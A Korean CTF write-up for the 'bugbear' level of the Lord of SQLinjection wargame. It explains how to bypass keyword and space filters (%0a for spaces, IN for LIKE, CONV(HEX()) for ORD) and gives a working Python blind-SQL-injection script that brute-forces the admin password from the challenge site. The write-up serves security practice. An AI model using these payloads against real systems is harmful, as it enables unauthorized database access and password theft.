Lord of SQLinjection - bugbear

이번에는 무려 공백과 OR AND를 제외하고, LIKE도 필터링이 된다. 

 

 

 

공백은 %0a로 치환하고, LIKE는 IN으로 대체하면 된다. 

 

그리고 인젝션을 하던 중 ORD 함수를 사용하려고 하자 OR 키워드가 포함이 되어있어서 사용이 불가능했다. 

그래서 하는  수 없이 ORD를 HEX로 대신 사용하고 여기에 CONV 함수를 더해서 16진수를 10진수로 변경해 주었다. 그것만 수정하면 이전의 자동화 소스랑 비슷하다. 

 

 

import requests

parameter = None



cookie = {'PHPSESSID':'자신의 쿠키 값을 입력'}

result = None

solve = ""
	
for i in range(1, 8+1):
	

	for ascii in range(48, 112+1):
		print(ascii)
		parameter = "?pw=NULL&&no=0||id in(\"admin\") %26%26 CONV(HEX(MID(pw,{},1)),16,10) IN ({})%23".format(i, ascii)
		parameter = parameter.replace(" ", "%0a")
		url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" + parameter
		result = requests.get(url=url, cookies=cookie).text
		if "Hello admin" in result:
			print(i, ascii, chr(ascii))
			solve += chr(ascii)
			break
			
print( solve )

 

 

 

참고: 

https://stackoverflow.com/questions/15085858/convert-hex-column-to-dec-in-mysql

Convert HEX column to DEC in MySQL